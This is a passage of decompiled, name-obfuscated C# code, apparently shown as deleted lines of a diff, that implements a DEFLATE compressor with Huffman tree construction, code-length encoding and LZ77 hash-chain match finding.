this.\u0001.\u0003(); - this.\u0001 = 30; - } -label_12: - return num1 - length; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) length; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - byte[] numArray = obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) numArray); - } - } - } - - internal sealed class \u0007 - { - private static int \u0001; - private static int \u0002; - private static int \u0003; - private static int \u0004; - private static int \u0005; - private static int \u0006; - private static int \u0007; - private static int \u0008; - private static int[] \u0001; - private static byte[] \u0001; - private \u0006.\u000E \u0001; - private \u0006.\u0007.\u0001 \u0001; - private \u0006.\u0007.\u0001 \u0002; - private \u0006.\u0007.\u0001 \u0003; - private short[] \u0001; - private byte[] \u0002; - private int \u000E; - private int \u000F; - private static short[] \u0002; - private static byte[] \u0003; - private static short[] \u0003; - private static byte[] \u0004; - - public static short \u0003([In] int obj0) - { - try - { - return (short) ((int) \u0006.\u0007.\u0001[obj0 & 15] << 12 | (int) \u0006.\u0007.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0006.\u0007.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0006.\u0007.\u0001[obj0 >> 12]); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local); - } - } - - static \u0007() - { - int index; - try - { - \u0006.\u0007.\u0001 = 16384; - \u0006.\u0007.\u0002 = 286; - \u0006.\u0007.\u0003 = 30; - \u0006.\u0007.\u0004 = 19; - \u0006.\u0007.\u0005 = 16; - \u0006.\u0007.\u0006 = 17; - \u0006.\u0007.\u0007 = 18; - \u0006.\u0007.\u0008 = 256; - \u0006.\u0007.\u0001 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - \u0006.\u0007.\u0001 = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - \u0006.\u0007.\u0002 = new short[\u0006.\u0007.\u0002]; - \u0006.\u0007.\u0003 = new byte[\u0006.\u0007.\u0002]; - for (index = 0; index < 144; \u0006.\u0007.\u0003[index++] = (byte) 8) - \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(48 + index << 8); - for (; index < 256; \u0006.\u0007.\u0003[index++] = (byte) 9) - \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(256 + index << 7); - for (; index < 280; \u0006.\u0007.\u0003[index++] = (byte) 7) - \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(index - 256 << 9); - for (; index < \u0006.\u0007.\u0002; \u0006.\u0007.\u0003[index++] = (byte) 8) - \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(index - 88 << 8); - \u0006.\u0007.\u0003 = new short[\u0006.\u0007.\u0003]; - \u0006.\u0007.\u0004 = new byte[\u0006.\u0007.\u0003]; - for (index = 0; index < \u0006.\u0007.\u0003; ++index) - { - \u0006.\u0007.\u0003[index] = \u0006.\u0007.\u0003(index << 11); - \u0006.\u0007.\u0004[index] = (byte) 5; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) index; - throw UnhandledException.\u0003(ex, (object) local); - } - } - - public \u0007([In] \u0006.\u000E obj0) - { - try - { - this.\u0001 = obj0; - this.\u0001 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0002, 257, 15); - this.\u0002 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0003, 1, 15); - this.\u0003 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0004, 4, 7); - this.\u0001 = new short[\u0006.\u0007.\u0001]; - this.\u0002 = new byte[\u0006.\u0007.\u0001]; - } - catch (Exception ex) - { - \u0006.\u000E obj = obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) obj); - } - } - - public void \u0003() - { - try - { - this.\u000E = 0; - this.\u000F = 0; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - private int \u0003([In] int obj0) - { - int num; - try - { - if (obj0 == (int) byte.MaxValue) - return 285; - num = 257; - for (; obj0 >= 8; obj0 >>= 1) - num += 4; - return num + obj0; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); - } - } - - private int \u0004([In] int obj0) - { - int num; - try - { - num = 0; - for (; obj0 >= 4; obj0 >>= 1) - num += 2; - return num + obj0; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); - } - } - - public void \u0003([In] int obj0) - { - int index; - try - { - this.\u0003.\u0003(); - this.\u0001.\u0003(); - this.\u0002.\u0003(); - this.\u0001.\u0003(this.\u0001.\u0002 - 257, 5); - this.\u0001.\u0003(this.\u0002.\u0002 - 1, 5); - this.\u0001.\u0003(obj0 - 4, 4); - for (index = 0; index < obj0; ++index) - this.\u0001.\u0003((int) this.\u0003.\u0001[\u0006.\u0007.\u0001[index]], 3); - this.\u0001.\u0004(this.\u0003); - this.\u0002.\u0004(this.\u0003); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); - } - } - - public void \u0004() - { - int num1; - int index; - int num2; - int num3; - int num4; - int num5; - try - { - for (index = 0; index < this.\u000E; ++index) - { - num1 = (int) this.\u0002[index] & (int) byte.MaxValue; - num2 = (int) this.\u0001[index]; - if (num2-- != 0) - { - num3 = this.\u0003(num1); - this.\u0001.\u0003(num3); - num4 = (num3 - 261) / 4; - if (num4 > 0 && num4 <= 5) - this.\u0001.\u0003(num1 & (1 << num4) - 1, num4); - num5 = this.\u0004(num2); - this.\u0002.\u0003(num5); - num4 = num5 / 2 - 1; - if (num4 > 0) - this.\u0001.\u0003(num2 & (1 << num4) - 1, num4); - } - else - this.\u0001.\u0003(num1); - } - this.\u0001.\u0003(\u0006.\u0007.\u0008); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num5; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this); - } - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3) - { - try - { - this.\u0001.\u0003(obj3 ? 1 : 0, 3); - this.\u0001.\u0003(); - this.\u0001.\u0003(obj2); - this.\u0001.\u0003(~obj2); - this.\u0001.\u0003(obj0, obj1, obj2); - this.\u0003(); - } - catch (Exception ex) - { - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj3; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray, (object) local1, (object) local2, (object) local3); - } - } - - public void \u0004([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3) - { - int num1; - int index1; - int num2; - int num3; - int index2; - int index3; - try - { - ++this.\u0001.\u0001[\u0006.\u0007.\u0008]; - this.\u0001.\u0004(); - this.\u0002.\u0004(); - this.\u0001.\u0003(this.\u0003); - this.\u0002.\u0003(this.\u0003); - this.\u0003.\u0004(); - num1 = 4; - for (index1 = 18; index1 > num1; --index1) - { - if (this.\u0003.\u0001[\u0006.\u0007.\u0001[index1]] > (byte) 0) - num1 = index1 + 1; - } - num2 = 14 + num1 * 3 + this.\u0003.\u0003() + this.\u0001.\u0003() + this.\u0002.\u0003() + this.\u000F; - num3 = this.\u000F; - for (index2 = 0; index2 < \u0006.\u0007.\u0002; ++index2) - num3 += (int) this.\u0001.\u0001[index2] * (int) \u0006.\u0007.\u0003[index2]; - for (index3 = 0; index3 < \u0006.\u0007.\u0003; ++index3) - num3 += (int) this.\u0002.\u0001[index3] * (int) \u0006.\u0007.\u0004[index3]; - if (num2 >= num3) - num2 = num3; - if (obj1 >= 0 && obj2 + 4 < num2 >> 3) - this.\u0003(obj0, obj1, obj2, obj3); - else if (num2 == num3) - { - this.\u0001.\u0003(2 + (obj3 ? 1 : 0), 3); - this.\u0001.\u0003(\u0006.\u0007.\u0002, \u0006.\u0007.\u0003); - this.\u0002.\u0003(\u0006.\u0007.\u0003, \u0006.\u0007.\u0004); - this.\u0004(); - this.\u0003(); - } - else - { - this.\u0001.\u0003(4 + (obj3 ? 1 : 0), 3); - this.\u0003(num1); - this.\u0004(); - this.\u0003(); - } - } - catch (Exception ex) - { - object[] objArray = new object[11] - { - (object) num1, - (object) index1, - (object) num2, - (object) num3, - (object) index2, - (object) index3, - (object) this, - (object) obj0, - (object) obj1, - (object) obj2, - (object) obj3 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - public bool \u0003() - { - try - { - return this.\u000E >= \u0006.\u0007.\u0001; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - public bool \u0003([In] int obj0) - { - int num1; - try - { - this.\u0001[this.\u000E] = (short) 0; - byte[] numArray = this.\u0002; - num1 = this.\u000E++; - int index = num1; - int num2 = (int) (byte) obj0; - numArray[index] = (byte) num2; - ++this.\u0001.\u0001[obj0]; - return this.\u0003(); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); - } - } - - public bool \u0003([In] int obj0, [In] int obj1) - { - int num1; - int index1; - int index2; - try - { - this.\u0001[this.\u000E] = (short) obj0; - byte[] numArray = this.\u0002; - num1 = this.\u000E++; - int index3 = num1; - int num2 = (int) (byte) (obj1 - 3); - numArray[index3] = (byte) num2; - index1 = this.\u0003(obj1 - 3); - ++this.\u0001.\u0001[index1]; - if (index1 >= 265 && index1 < 285) - this.\u000F += (index1 - 261) / 4; - index2 = this.\u0004(obj0 - 1); - ++this.\u0002.\u0001[index2]; - if (index2 >= 4) - this.\u000F += index2 / 2 - 1; - return this.\u0003(); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj1; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) local4, (object) local5); - } - } - - public sealed class \u0001 - { - public short[] \u0001; - public byte[] \u0001; - public int \u0001; - public int \u0002; - private short[] \u0002; - private int[] \u0001; - private int \u0003; - private \u0006.\u0007 \u0001; - - public \u0001([In] \u0006.\u0007 obj0, [In] int obj1, [In] int obj2, [In] int obj3) - { - try - { - this.\u0001 = obj0; - this.\u0001 = obj2; - this.\u0003 = obj3; - this.\u0001 = new short[obj1]; - this.\u0001 = new int[obj3]; - } - catch (Exception ex) - { - \u0006.\u0007 obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj3; - throw UnhandledException.\u0003(ex, (object) this, (object) obj, (object) local1, (object) local2, (object) local3); - } - } - - public void \u0003([In] int obj0) - { - try - { - this.\u0001.\u0001.\u0003((int) this.\u0002[obj0] & (int) ushort.MaxValue, (int) this.\u0001[obj0]); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) local); - } - } - - public void \u0003([In] short[] obj0, [In] byte[] obj1) - { - try - { - this.\u0002 = obj0; - this.\u0001 = obj1; - } - catch (Exception ex) - { - short[] numArray1 = obj0; - byte[] numArray2 = obj1; - throw UnhandledException.\u0003(ex, (object) this, (object) numArray1, (object) numArray2); - } - } - - public void \u0003() - { - int num1; - int index1; - int[] numArray1; - int index2; - int num2; - try - { - int length = this.\u0001.Length; - numArray1 = new int[this.\u0003]; - num1 = 0; - this.\u0002 = new short[this.\u0001.Length]; - for (index1 = 0; index1 < this.\u0003; ++index1) - { - numArray1[index1] = num1; - num1 += this.\u0001[index1] << 15 - index1; - } - for (index2 = 0; index2 < this.\u0002; ++index2) - { - num2 = (int) this.\u0001[index2]; - if (num2 > 0) - { - this.\u0002[index2] = \u0006.\u0007.\u0003(numArray1[num2 - 1]); - numArray1[num2 - 1] += 1 << 16 - num2; - } - } - } - catch (Exception ex) - { - int[] numArray2 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) index2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num2; - throw UnhandledException.\u0003(ex, (object) numArray2, (object) local1, (object) local2, (object) local3, (object) local4, (object) this); - } - } - - private void \u0003([In] int[] obj0) - { - int length; - int num1; - int num2; - int index1; - int[] numArray1; - int index2; - int num3; - int num4; - int num5; - int index3; - int num6; - int num7; - int num8; - int index4; - try - { - this.\u0001 = new byte[this.\u0001.Length]; - length = obj0.Length / 2; - num1 = (length + 1) / 2; - num2 = 0; - for (index1 = 0; index1 < this.\u0003; ++index1) - this.\u0001[index1] = 0; - numArray1 = new int[length]; - numArray1[length - 1] = 0; - for (index2 = length - 1; index2 >= 0; --index2) - { - if (obj0[2 * index2 + 1] != -1) - { - num3 = numArray1[index2] + 1; - if (num3 > this.\u0003) - { - num3 = this.\u0003; - ++num2; - } - int[] numArray2 = numArray1; - int index5 = obj0[2 * index2]; - numArray1[obj0[2 * index2 + 1]] = num4 = num3; - int num9 = num4; - numArray2[index5] = num9; - } - else - { - num5 = numArray1[index2]; - ++this.\u0001[num5 - 1]; - this.\u0001[obj0[2 * index2]] = (byte) numArray1[index2]; - } - } - if (num2 == 0) - return; - index3 = this.\u0003 - 1; - do - { - do - ; - while (this.\u0001[--index3] == 0); - do - { - --this.\u0001[index3]; - ++this.\u0001[++index3]; - num2 -= 1 << this.\u0003 - 1 - index3; - } - while (num2 > 0 && index3 < this.\u0003 - 1); - } - while (num2 > 0); - this.\u0001[this.\u0003 - 1] += num2; - this.\u0001[this.\u0003 - 2] -= num2; - num6 = 2 * num1; - for (num7 = this.\u0003; num7 != 0; --num7) - { - num8 = this.\u0001[num7 - 1]; - while (num8 > 0) - { - index4 = 2 * obj0[num6++]; - if (obj0[index4 + 1] == -1) - { - this.\u0001[obj0[index4]] = (byte) num7; - --num8; - } - } - } - } - catch (Exception ex) - { - object[] objArray = new object[16] - { - (object) length, - (object) num1, - (object) num2, - (object) index1, - (object) numArray1, - (object) index2, - (object) num3, - (object) num5, - (object) index3, - (object) num6, - (object) num7, - (object) num8, - (object) index4, - (object) num4, - (object) this, - (object) obj0 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - public void \u0004() - { - int[] numArray1; - int num1; - int num2; - int index1; - int num3; - int index2; - int index3; - int length; - int num4; - int num5; - int[] numArray2; - int[] numArray3; - int num6; - int index4; - int index5; - int index6; - int index7; - int index8; - int index9; - int num7; - int index10; - int num8; - try - { - length = this.\u0001.Length; - numArray1 = new int[length]; - num1 = 0; - num2 = 0; - for (index1 = 0; index1 < length; ++index1) - { - num3 = (int) this.\u0001[index1]; - if (num3 != 0) - { - for (index2 = num1++; index2 > 0 && (int) this.\u0001[numArray1[index3 = (index2 - 1) / 2]] > num3; index2 = index3) - numArray1[index2] = numArray1[index3]; - numArray1[index2] = index1; - num2 = index1; - } - } - for (; num1 < 2; numArray1[num1++] = num4) - { - int num9; - if (num2 >= 2) - num9 = 0; - else - num2 = num9 = num2 + 1; - num4 = num9; - } - this.\u0002 = Math.Max(num2 + 1, this.\u0001); - num5 = num1; - numArray2 = new int[4 * num1 - 2]; - numArray3 = new int[2 * num1 - 1]; - num6 = num5; - for (index4 = 0; index4 < num1; ++index4) - { - index5 = numArray1[index4]; - numArray2[2 * index4] = index5; - numArray2[2 * index4 + 1] = -1; - numArray3[index4] = (int) this.\u0001[index5] << 8; - numArray1[index4] = index4; - } - do - { - index6 = numArray1[0]; - index7 = numArray1[--num1]; - index8 = 0; - for (index9 = 1; index9 < num1; index9 = index9 * 2 + 1) - { - if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]]) - ++index9; - numArray1[index8] = numArray1[index9]; - index8 = index9; - } - num7 = numArray3[index7]; - while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7) - numArray1[index9] = numArray1[index8]; - numArray1[index9] = index7; - index10 = numArray1[0]; - index7 = num6++; - numArray2[2 * index7] = index6; - numArray2[2 * index7 + 1] = index10; - num8 = Math.Min(numArray3[index6] & (int) byte.MaxValue, numArray3[index10] & (int) byte.MaxValue); - numArray3[index7] = num7 = numArray3[index6] + numArray3[index10] - num8 + 1; - index8 = 0; - for (index9 = 1; index9 < num1; index9 = index8 * 2 + 1) - { - if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]]) - ++index9; - numArray1[index8] = numArray1[index9]; - index8 = index9; - } - while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7) - numArray1[index9] = numArray1[index8]; - numArray1[index9] = index7; - } - while (num1 > 1); - this.\u0003(numArray2); - } - catch (Exception ex) - { - object[] objArray = new object[23] - { - (object) length, - (object) numArray1, - (object) num1, - (object) num2, - (object) index1, - (object) num3, - (object) index2, - (object) index3, - (object) num4, - (object) num5, - (object) numArray2, - (object) numArray3, - (object) num6, - (object) index4, - (object) index5, - (object) index6, - (object) index7, - (object) index8, - (object) index9, - (object) num7, - (object) index10, - (object) num8, - (object) this - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - public int \u0003() - { - int index; - int num; - try - { - num = 0; - for (index = 0; index < this.\u0001.Length; ++index) - num += (int) this.\u0001[index] * (int) this.\u0001[index]; - return num; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this); - } - } - - public void \u0003([In] \u0006.\u0007.\u0001 obj0) - { - int index1; - int index2; - int num1; - int num2; - int index3; - int num3; - try - { - index3 = -1; - index1 = 0; - while (index1 < this.\u0002) - { - num3 = 1; - index2 = (int) this.\u0001[index1]; - if (index2 == 0) - { - num1 = 138; - num2 = 3; - } - else - { - num1 = 6; - num2 = 3; - if (index3 != index2) - { - ++obj0.\u0001[index2]; - num3 = 0; - } - } - index3 = index2; - ++index1; - while (index1 < this.\u0002 && index3 == (int) this.\u0001[index1]) - { - ++index1; - if (++num3 >= num1) - break; - } - if (num3 < num2) - obj0.\u0001[index3] += (short) num3; - else if (index3 != 0) - ++obj0.\u0001[\u0006.\u0007.\u0005]; - else if (num3 <= 10) - ++obj0.\u0001[\u0006.\u0007.\u0006]; - else - ++obj0.\u0001[\u0006.\u0007.\u0007]; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) index3; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) index2; - \u0006.\u0007.\u0001 obj = obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); - } - } - - public void \u0004([In] \u0006.\u0007.\u0001 obj0) - { - int index; - int num1; - int num2; - int num3; - int num4; - int num5; - try - { - num4 = -1; - index = 0; - while (index < this.\u0002) - { - num5 = 1; - num1 = (int) this.\u0001[index]; - if (num1 == 0) - { - num2 = 138; - num3 = 3; - } - else - { - num2 = 6; - num3 = 3; - if (num4 != num1) - { - obj0.\u0003(num1); - num5 = 0; - } - } - num4 = num1; - ++index; - while (index < this.\u0002 && num4 == (int) this.\u0001[index]) - { - ++index; - if (++num5 >= num2) - break; - } - if (num5 < num3) - { - while (num5-- > 0) - obj0.\u0003(num4); - } - else if (num4 != 0) - { - obj0.\u0003(\u0006.\u0007.\u0005); - this.\u0001.\u0001.\u0003(num5 - 3, 2); - } - else if (num5 <= 10) - { - obj0.\u0003(\u0006.\u0007.\u0006); - this.\u0001.\u0001.\u0003(num5 - 3, 3); - } - else - { - obj0.\u0003(\u0006.\u0007.\u0007); - this.\u0001.\u0001.\u0003(num5 - 11, 7); - } - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num5; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local6 = (ValueType) num1; - \u0006.\u0007.\u0001 obj = obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); - } - } - } - } - - internal sealed class \u0008 - { - private static int \u0001; - private int \u0002; - private short[] \u0001; - private short[] \u0002; - private int \u0003; - private int \u0004; - private bool \u0001; - private int \u0005; - private int \u0006; - private int \u0007; - private byte[] \u0001; - private byte[] \u0002; - private int \u0008; - private int \u000E; - private int \u000F; - private \u0006.\u000E \u0001; - private \u0006.\u0007 \u0001; - - public \u0008([In] \u0006.\u000E obj0) - { - int num; - try - { - this.\u0001 = obj0; - this.\u0001 = new \u0006.\u0007(obj0); - this.\u0001 = new byte[65536]; - this.\u0001 = new short[32768]; - this.\u0002 = new short[32768]; - this.\u0006 = num = 1; - this.\u0005 = num; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - \u0006.\u000E obj = obj0; - throw UnhandledException.\u0003(ex, (object) local, (object) this, (object) obj); - } - } - - private void \u0003() - { - try - { - this.\u0002 = (int) this.\u0001[this.\u0006] << 5 ^ (int) this.\u0001[this.\u0006 + 1]; - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - private int \u0003() - { - int index; - short num; - try - { - index = (this.\u0002 << 5 ^ (int) this.\u0001[this.\u0006 + 2]) & (int) short.MaxValue; - this.\u0002[this.\u0006 & (int) short.MaxValue] = num = this.\u0001[index]; - this.\u0001[index] = (short) this.\u0006; - this.\u0002 = index; - return (int) num & (int) ushort.MaxValue; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this); - } - } - - private void \u0004() - { - int index1; - int num1; - int index2; - int num2; - try - { - Array.Copy((Array) this.\u0001, 32768, (Array) this.\u0001, 0, 32768); - this.\u0003 -= 32768; - this.\u0006 -= 32768; - this.\u0005 -= 32768; - for (index1 = 0; index1 < 32768; ++index1) - { - num1 = (int) this.\u0001[index1] & (int) ushort.MaxValue; - this.\u0001[index1] = num1 >= 32768 ? (short) (num1 - 32768) : (short) 0; - } - for (index2 = 0; index2 < 32768; ++index2) - { - num2 = (int) this.\u0002[index2] & (int) ushort.MaxValue; - this.\u0002[index2] = num2 >= 32768 ? (short) (num2 - 32768) : (short) 0; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) index2; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num2; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this); - } - } - - public void \u0005() - { - int length; - try - { - if (this.\u0006 >= 65274) - goto label_8; -label_4: - for (; this.\u0007 < 262 && this.\u000E < this.\u000F; this.\u0007 += length) - { - length = 65536 - this.\u0007 - this.\u0006; - if (length > this.\u000F - this.\u000E) - length = this.\u000F - this.\u000E; - Array.Copy((Array) this.\u0002, this.\u000E, (Array) this.\u0001, this.\u0006 + this.\u0007, length); - this.\u000E += length; - this.\u0008 += length; - } - if (this.\u0007 < 3) - return; - this.\u0003(); - return; -label_8: - this.\u0004(); - goto label_4; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) length; - throw UnhandledException.\u0003(ex, (object) local, (object) this); - } - } - - private bool \u0003([In] int obj0) - { - short[] numArray; - int index1; - int index2; - int val1; - int num1; - int num2; - byte num3; - byte num4; - int num5; - int num6; - int num7; - try - { - num5 = 128; - num6 = 128; - numArray = this.\u0002; - index1 = this.\u0006; - index2 = this.\u0006 + this.\u0004; - val1 = Math.Max(this.\u0004, 2); - num1 = Math.Max(this.\u0006 - 32506, 0); - num2 = this.\u0006 + 258 - 1; - num3 = this.\u0001[index2 - 1]; - num4 = this.\u0001[index2]; - if (val1 >= 8) - num5 >>= 2; - if (num6 > this.\u0007) - num6 = this.\u0007; - do - { - if ((int) this.\u0001[obj0 + val1] == (int) num4 && (int) this.\u0001[obj0 + val1 - 1] == (int) num3 && (int) this.\u0001[obj0] == (int) this.\u0001[index1] && (int) this.\u0001[obj0 + 1] == (int) this.\u0001[index1 + 1]) - { - num7 = obj0 + 2; - index1 += 2; - do - ; - while ((int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && index1 < num2); - if (index1 > index2) - { - this.\u0003 = obj0; - index2 = index1; - val1 = index1 - this.\u0006; - if (val1 < num6) - { - num3 = this.\u0001[index2 - 1]; - num4 = this.\u0001[index2]; - } - else - break; - } - index1 = this.\u0006; - } - } - while ((obj0 = (int) numArray[obj0 & (int) short.MaxValue] & (int) ushort.MaxValue) > num1 && --num5 != 0); - this.\u0004 = Math.Min(val1, this.\u0007); - return this.\u0004 >= 3; - } - catch (Exception ex) - { - object[] objArray = new object[13] - { - (object) num5, - (object) num6, - (object) numArray, - (object) index1, - (object) num7, - (object) index2, - (object) val1, - (object) num1, - (object) num2, - (object) num3, - (object) num4, - (object) this, - (object) obj0 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - private bool \u0003([In] bool obj0, [In] bool obj1) - { - int num1; - int num2; - int num3; - int num4; - bool flag; - try - { - if (this.\u0007 < 262 && !obj0) - return false; - while (this.\u0007 >= 262 || obj0) - { - if (this.\u0007 == 0) - { - if (this.\u0001) - this.\u0001.\u0003((int) this.\u0001[this.\u0006 - 1] & (int) byte.MaxValue); - this.\u0001 = false; - this.\u0001.\u0004(this.\u0001, this.\u0005, this.\u0006 - this.\u0005, obj1); - this.\u0005 = this.\u0006; - return false; - } - if (this.\u0006 >= 65274) - this.\u0004(); - num1 = this.\u0003; - num2 = this.\u0004; - if (this.\u0007 >= 3) - { - num3 = this.\u0003(); - if (num3 != 0 && this.\u0006 - num3 <= 32506 && this.\u0003(num3) && this.\u0004 <= 5 && this.\u0004 == 3 && this.\u0006 - this.\u0003 > \u0006.\u0008.\u0001) - this.\u0004 = 2; - } - if (num2 >= 3 && this.\u0004 <= num2) - { - this.\u0001.\u0003(this.\u0006 - 1 - num1, num2); - num2 -= 2; - do - { - ++this.\u0006; - --this.\u0007; - if (this.\u0007 >= 3) - this.\u0003(); - } - while (--num2 > 0); - ++this.\u0006; - --this.\u0007; - this.\u0001 = false; - this.\u0004 = 2; - } - else - { - if (this.\u0001) - this.\u0001.\u0003((int) this.\u0001[this.\u0006 - 1] & (int) byte.MaxValue); - this.\u0001 = true; - ++this.\u0006; - --this.\u0007; - } - if (this.\u0001.\u0003()) - { - num4 = this.\u0006 - this.\u0005; - if (this.\u0001) - --num4; - flag = obj1 && this.\u0007 == 0 && !this.\u0001; - 